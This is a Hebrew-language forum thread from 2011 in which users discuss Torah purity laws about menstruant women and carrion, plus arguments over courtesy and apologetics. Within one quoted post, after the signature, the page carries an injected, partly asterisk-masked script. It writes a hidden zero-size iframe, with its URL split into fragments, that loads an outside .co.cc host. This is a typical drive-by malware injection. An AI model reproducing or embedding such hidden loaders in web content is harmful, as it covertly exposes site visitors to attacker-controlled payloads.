|
|
| נשלח ב-3/8/2011 17:13 |
 |
| |
מעניין מה מראה לנו העובדה שהתנ"ך מדבר על הלכות טומאה למי ששוכב עם נידה/זבה וכן מי שאוכל נבלה.
|
|
|
|
| נשלח ב-3/8/2011 17:40 |
|
| |
נוכח, התורה דיברה בהווה מה דינו של שוכב עם אשה שנעשתה זבה או נדה תוך כדי מעשה . וכן לאכילת נבילה שמטמאה גם אם קנו אותה במונסי בהכשר... . וזאת למרות ובפרט ששללו מעשים אלו בכוונה תחילה. לגופו של אשכול ברור שלחכמינו היתה מומחיות למצוא קווי קיצון בדוגמאות שנקטו שכנראה עזרו להם לשנן את ההלכות ולזוכרן אולם מצאנו בסנהדרין ביטוי חריף על אחד שהגזים עם זה ( הביטוי הוא קבסתן למרות שארתח נקט השבוע באחד האשכולות דוגמא זו שעליה הגיב רבו של השואל בלשון צער זו , מסתמא לא דק) .
|
|
|
|
|
| נשלח ב-3/8/2011 18:24 |
|
| |
פי האתון,
אני לא מקבל את האפולוגיה שלך, אבל לא מצליח להצביע על כשל ספציפי. רק "לא נראה לי".
חילך לאפולוגטיקא!
|
|
|
|
| נשלח ב-3/8/2011 19:29 |
|
| |
| מיימוני כתב: |  | | ליצנות למה לי? קודם נשמע אם יש פה משהו שהליצנות מותרת בו. ובכל מקרה, בא חבר יקר, כותב מליבו, לא חייבים להסכים, אבל רק בדרך ארץ. _________________ שומר פיו ולשונו - שומר מצרות נפשו ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
כיהודה ועוד לקרא התם "מהסיפור על החכם והתם" מרגלא בפומיה 'רק בלי ליצנות' ודפח"ח.
|
|
|
|
| נשלח ב-3/8/2011 21:48 |
|
| |
שותפי, לנשים וקטנים בלבד. נלמד עליך זכות שקולמוסך פלט שלא בכוונה.
אמשלום, לא שמת לב? פרזנט, לא ירדתי לסוף דעתך.
תוקן על ידי ייתכן ב- 03/08/2011 21:50:05
|
|
|
|
| נשלח ב-3/8/2011 22:00 |
|
| |
| ייתכן כתב: | |
שותפי,
לנשים וקטנים בלבד.
נלמד עליך זכות שקולמוסך פלט שלא בכוונה.
|
|
מויחל טויבעס.
גם סכסכן, נוסף לכל ?
|
|
|
|
|
]
